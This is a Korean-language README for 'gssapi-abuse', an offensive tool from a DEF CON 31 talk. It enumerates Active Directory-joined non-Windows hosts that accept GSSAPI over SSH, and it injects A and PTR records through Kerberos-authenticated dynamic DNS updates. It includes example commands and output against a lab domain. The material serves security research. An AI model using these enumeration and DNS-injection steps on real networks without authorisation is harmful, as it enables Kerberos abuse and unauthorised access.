
Active Directory 네트워크 내에서 GSSAPI 남용에 취약한 잠재적 호스트를 열거하는 도구
gssapi-abuse는 제 DEF CON 31 발표의 일환으로 공개되었습니다. 해당 취약점 벡터에 대한 전체 글은 다음에서 확인할 수 있습니다: A Broken Marriage: Abusing Mixed Vendor Kerberos Stacks
이 도구는 두 가지 기능을 제공합니다. 첫 번째는 Active Directory에 가입되어 SSH를 통해 GSSAPI 인증을 제공하는 비 Windows 호스트를 열거하는 기능입니다.
두 번째 기능은 올바른 정방향 및/또는 역방향 조회 DNS 항목이 없는 GSSAPI 취약 호스트에 대해 동적 DNS 업데이트를 수행하는 기능입니다. GSSAPI 기반 인증은 서비스 주체(service principal) 일치에 있어 엄격하므로, DNS 항목은 호스트 이름과 IP 주소 모두에서 서비스 주체 이름과 일치해야 합니다.
gssapi-abuse는 작동하는 krb5 스택과 올바르게 구성된 krb5.conf가 필요합니다.
Windows 호스트에서는 requirements.txt에 나열된 Python 모듈 외에도 MIT Kerberos 소프트웨어를 설치해야 합니다. 이 소프트웨어는 MIT Kerberos 배포 페이지에서 얻을 수 있습니다. Windows의 krb5.conf는 C:\ProgramData\MIT\Kerberos5\krb5.conf에서 찾을 수 있습니다.
Python 요구 사항을 설치하기 전에 libkrb5-dev 패키지를 설치해야 합니다.
요구 사항이 충족되면 pip/pip3 도구를 통해 Python 종속성을 설치할 수 있습니다.
pip install -r requirements.txt
열거 모드는 Active Directory에 연결하여 운영 체제 속성에 Windows라는 단어가 없는 모든 컴퓨터를 LDAP 검색합니다.
비 Windows 컴퓨터 목록이 확보되면 gssapi-abuse는 각 호스트에 SSH로 연결하여 GSSAPI 기반 인증이 허용되는지 확인합니다.
python .\gssapi-abuse.py -d ad.ginge.com enum -u john.doe -p SuperSecret!
[=] Found 2 non Windows machines registered within AD
[!] Host ubuntu.ad.ginge.com does not have GSSAPI enabled over SSH, ignoring
[+] Host centos.ad.ginge.com has GSSAPI enabled over SSH
DNS 모드는 Kerberos와 dnspython을 사용하여 DNS-TSIG 프로토콜을 통해 포트 53에서 인증된 DNS 업데이트를 수행합니다. 현재 dns 모드는 작동하는 krb5 구성과 특정 도메인 컨트롤러(예: DNS/dc1.victim.local)를 대상으로 하는 유효한 TGT 또는 DNS 서비스 티켓에 의존합니다.
호스트 ahost.ad.ginge.com에 대한 DNS A 레코드 추가
python .\gssapi-abuse.py -d ad.ginge.com dns -t ahost -a add --type A --data 192.168.128.50
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding A record for target ahost using data 192.168.128.50
[+] Applied 1 updates successfully
호스트 ahost.ad.ginge.com에 대한 역방향 PTR 레코드 추가. data 인자가 .으로 끝나는 것에 주의하세요. 이것이 중요하지 않으면 레코드가 영역에 대한 상대 레코드가 되어 원하지 않는 결과가 발생합니다. 또한 PTR 레코드는 A 레코드와 다른 영역에 저장되므로 업데이트할 대상 영역을 지정해야 합니다.
python .\gssapi-abuse.py -d ad.ginge.com dns --zone 128.168.192.in-addr.arpa -t 50 -a add --type PTR --data ahost.ad.ginge.com.
[+] Successfully authenticated to DNS server win-af8ki8e5414.ad.ginge.com
[=] Adding PTR record for target 50 using data ahost.ad.ginge.com.
[+] Applied 1 updates successfully
실행 후 정방향 및 역방향 DNS 조회 결과
nslookup ahost.ad.ginge.com
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50
nslookup 192.168.128.50
Server: WIN-AF8KI8E5414.ad.ginge.com
Address: 192.168.128.1
Name: ahost.ad.ginge.com
Address: 192.168.128.50